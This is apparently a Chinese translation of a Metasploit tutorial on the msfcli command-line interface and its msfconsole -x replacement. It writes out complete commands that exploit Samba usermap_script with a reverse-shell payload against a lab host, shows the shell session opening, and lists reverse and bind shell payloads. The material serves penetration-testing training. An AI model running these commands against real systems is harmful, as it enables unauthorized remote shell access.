Metasploit 使用MSFcli接口

什么是MSFcli？

所述msfcli提供了强大的命令行界面的框架。这使您可以轻松地将Metasploit漏洞添加到您可能创建的任何脚本中。

注意：

截至2015-06-18 msfcli已被删除。

通过msfconsole获得类似功能的一种方法是使用msfconsole -x选项。

例如，以下命令设置samba / usermap_script的所有选项，并针对目标运行它：

root@kali:~# msfconsole -x "use exploit/multi/samba/usermap_script;\
set RHOST 172.16.194.172;\
set PAYLOAD cmd/unix/reverse;\
set LHOST 172.16.194.163;\
run"

msfcli命令行界面命令

运行msfcli help命令：

root@kali:~# msfcli -h
用法: /usr/bin/msfcli  >option=value> [mode]
===========================================================

    模块           描述
    ----           -----------
    (A)dvanced     显示此模块的可用高级选项
    (AC)tions      显示此辅助模块的可用操作
    (C)heck        运行所选模块的检查程序
    (E)xecute      执行执行所选模块
    (H)elp         你正在看它宝贝！
    (I)DS Evasion  为该模块显示可用的ids逃避选项
    (O)ptions      显示此模块的可用选项
    (P)ayloads     显示此模块的可用有效负载
    (S)ummary      显示有关此模块的信息
    (T)argets      显示此exploit模块的可用目标

例子:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

1、注意：使用msfcli时，变量使用“等于”运算符“= ”来分配，并且所有选项都区分大小写。

旧命令：

root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...
 
                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
       =[ svn r15767 updated today (2012.08.22)

RHOST => 172.16.194.172
PAYLOAD => cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2018-06-14 09:58:19 -0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2018 i686 GNU/Linux

新命令：

root@kali:~# msfconsole -x "use exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 run"

2、如果您不完全确定哪些选项属于某个特定模块，则可以将字母“ O ” 附加到字符串的末尾。

root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Initializing modules...

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port

3、要显示当前模块的可用有效负载，请将字母“ P ” 附加到msfcli命令行字符串。

root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*]Initializing modules...

Compatible payloads
===================

   Name                                Description
   ----                                -----------
   cmd/unix/bind_awk                   监听一个连接并通过GNU AWK产生一个命令shell
   cmd/unix/bind_inetd                 监听连接并产生一个命令shell（持久）
   cmd/unix/bind_lua                   监听一个连接并通过Lua产生一个命令shell
   cmd/unix/bind_netcat                监听连接并通过netcat产生命令shell
   cmd/unix/bind_netcat_gaping         监听连接并通过netcat生成命令shell
   cmd/unix/bind_netcat_gaping_ipv6    监听连接并通过netcat产生命令shell
   cmd/unix/bind_perl                  监听一个连接并通过perl产生一个命令shell
   cmd/unix/bind_perl_ipv6             监听一个连接并通过perl产生一个命令shell
   cmd/unix/bind_ruby                  不断侦听连接并通过Ruby生成命令shell
   cmd/unix/bind_ruby_ipv6             不断侦听连接并通过Ruby产生命令shell
   cmd/unix/bind_zsh                   听一个连接，并通过Zsh产生一个命令外壳。注意：虽然Zsh是通常可用，请注意它通常不会默认安装。 
   cmd/unix/generic                    执行提供的命令
   cmd/unix/reverse                    通过两个入站连接创建交互式shell
   cmd/unix/reverse_awk                通过GNU AWK创建交互式shell
   cmd/unix/reverse_lua                通过Lua创建一个交互式shell
   cmd/unix/reverse_netcat             通过netcat创建交互式shell
   cmd/unix/reverse_netcat_gaping      通过netcat创建交互式shell
   cmd/unix/reverse_openssl            通过两个入站连接创建交互式shell
   cmd/unix/reverse_perl               通过perl创建交互式shell
   cmd/unix/reverse_perl_ssl           通过perl创建交互式shell，使用SSL
   cmd/unix/reverse_php_ssl            通过php创建交互式shell，使用SSL
   cmd/unix/reverse_python             连接回来并通过Python创建命令shell
   cmd/unix/reverse_python_ssl         通过python创建交互式shell，使用SSL，通过设计使用base64编码。
   cmd/unix/reverse_ruby               连接并通过Ruby创建一个命令shell
   cmd/unix/reverse_ruby_ssl           通过Ruby连接并创建一个命令shell，使用SSL
   cmd/unix/reverse_ssl_double_telnet  通过两个入站连接创建交互式shell，使用SSL通过“-z”选项进行加密
   cmd/unix/reverse_zsh                连接回来并通过Zsh创建一个命令shell。注意：虽然Zsh经常可用，请注意它通常不会默认安装。